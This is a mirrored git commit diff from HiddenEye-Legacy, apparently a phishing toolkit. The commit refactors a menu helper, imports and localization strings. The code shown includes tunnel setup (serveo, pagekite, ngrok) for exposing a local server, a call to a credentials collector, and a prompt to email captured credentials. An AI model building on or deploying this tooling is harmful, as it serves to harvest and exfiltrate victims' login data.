mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
created helper.py under LocalizationManager. worked on requested changes.
This commit is contained in:
parent
5400f8521e
commit
e74e111734
|
@ -11,9 +11,9 @@ from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_backgr
|
||||||
import Defs.ThemeManager.theme as theme
|
import Defs.ThemeManager.theme as theme
|
||||||
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
|
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
|
||||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||||
|
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||||
import os
|
import os
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
|
||||||
try:
|
try:
|
||||||
os.mkdir("Server/www")
|
os.mkdir("Server/www")
|
||||||
except FileExistsError:
|
except FileExistsError:
|
||||||
|
@ -233,8 +233,6 @@ def start_serveo(port):
|
||||||
return random(port)
|
return random(port)
|
||||||
|
|
||||||
def custom(port):
|
def custom(port):
|
||||||
import Defs.ActionManager.main_runner as main_runner
|
|
||||||
|
|
||||||
# print('''
|
# print('''
|
||||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
|
@ -329,7 +327,7 @@ def start_serveo(port):
|
||||||
print(localization.lang_start_serveo["choose_type_of_url"])
|
print(localization.lang_start_serveo["choose_type_of_url"])
|
||||||
|
|
||||||
# print(" \n".format(default_palette[0], default_palette[2]))
|
# print(" \n".format(default_palette[0], default_palette[2]))
|
||||||
main_runner.print_sorted_as_menu(localization.lang_start_serveo["url_types"])
|
print_sorted_as_menu(localization.lang_start_serveo["url_types"])
|
||||||
choice = input(global_localization.input_line)
|
choice = input(global_localization.input_line)
|
||||||
run_command('clear')
|
run_command('clear')
|
||||||
if choice == '1':
|
if choice == '1':
|
||||||
|
@ -592,4 +590,4 @@ def start_pagekite(port):
|
||||||
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
|
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print('[!] Please Copy the Generated Link For Further Use')
|
print('[!] Please Copy the Generated Link For Further Use')
|
||||||
simple_informant.credentials_collector(port)
|
credentials_collector(port)
|
||||||
|
|
|
@ -7,22 +7,15 @@
|
||||||
|
|
||||||
|
|
||||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove
|
from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove
|
||||||
import Defs.ThemeManager.theme as theme
|
|
||||||
import Defs.ActionManager.simple_informant as simple_informant
|
import Defs.ActionManager.simple_informant as simple_informant
|
||||||
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
|
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
|
||||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||||
|
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
|
||||||
module_loading_message = simple_informant.module_loading_message
|
module_loading_message = simple_informant.module_loading_message
|
||||||
|
|
||||||
def print_sorted_as_menu(sorting_list):
|
|
||||||
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
|
||||||
for row in sorting_list:
|
|
||||||
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
|
||||||
|
|
||||||
|
|
||||||
def start_main_menu():
|
def start_main_menu():
|
||||||
run_command('clear')
|
run_command('clear')
|
||||||
print(global_localization.hidden_eye_logo)
|
print(global_localization.hidden_eye_logo)
|
||||||
|
|
|
@ -13,7 +13,6 @@ default_palette = theme.default_palette
|
||||||
|
|
||||||
def captured_data_email_prompt():
|
def captured_data_email_prompt():
|
||||||
run_command('clear')
|
run_command('clear')
|
||||||
import Defs.ActionManager.simple_informant as simple_informant
|
|
||||||
print('''{1}
|
print('''{1}
|
||||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
|
@ -37,6 +36,7 @@ def captured_data_email_prompt():
|
||||||
captured_data_email_prompt()
|
captured_data_email_prompt()
|
||||||
|
|
||||||
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
|
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
|
||||||
|
import Defs.ActionManager.simple_informant as simple_informant
|
||||||
choice = input(
|
choice = input(
|
||||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||||
if choice == 'Y' or choice == 'y':
|
if choice == 'Y' or choice == 'y':
|
||||||
|
|
7
Defs/LocalizationManager/helper.py
Normal file
7
Defs/LocalizationManager/helper.py
Normal file
|
@ -0,0 +1,7 @@
|
||||||
|
import Defs.ThemeManager.theme as theme
|
||||||
|
default_palette = theme.default_palette
|
||||||
|
|
||||||
|
def print_sorted_as_menu(sorting_list):
|
||||||
|
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
||||||
|
for row in sorting_list:
|
||||||
|
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
|
@ -1,21 +0,0 @@
|
||||||
#
|
|
||||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
|
||||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
|
||||||
# This is free software, and you are welcome to redistribute it
|
|
||||||
# under certain conditions; you can read LICENSE for details.
|
|
||||||
#
|
|
||||||
|
|
||||||
import Defs.ThemeManager.theme as theme
|
|
||||||
from Defs.LocalizationManager.localization import _
|
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
|
||||||
|
|
||||||
lang_server_selection = {
|
|
||||||
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
|
||||||
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
|
|
||||||
"servers_list" :
|
|
||||||
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
|
|
||||||
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
|
|
||||||
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
|
|
||||||
['{0}[{1}03{0}]{1}Localxpose (not working now)']]
|
|
||||||
}
|
|
|
@ -10,6 +10,16 @@ from Defs.LocalizationManager.localization import _
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
default_palette = theme.default_palette
|
||||||
|
|
||||||
|
lang_server_selection = {
|
||||||
|
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||||
|
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
|
||||||
|
"servers_list" :
|
||||||
|
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
|
||||||
|
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
|
||||||
|
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
|
||||||
|
['{0}[{1}03{0}]{1}Localxpose (not working now)']]
|
||||||
|
}
|
||||||
|
|
||||||
lang_start_localhost = {
|
lang_start_localhost = {
|
||||||
"localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
"localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||||
"your_localhost_is" : _('Your Localhost is '),
|
"your_localhost_is" : _('Your Localhost is '),
|
||||||
|
|
Loading…
Reference in New Issue
Block a user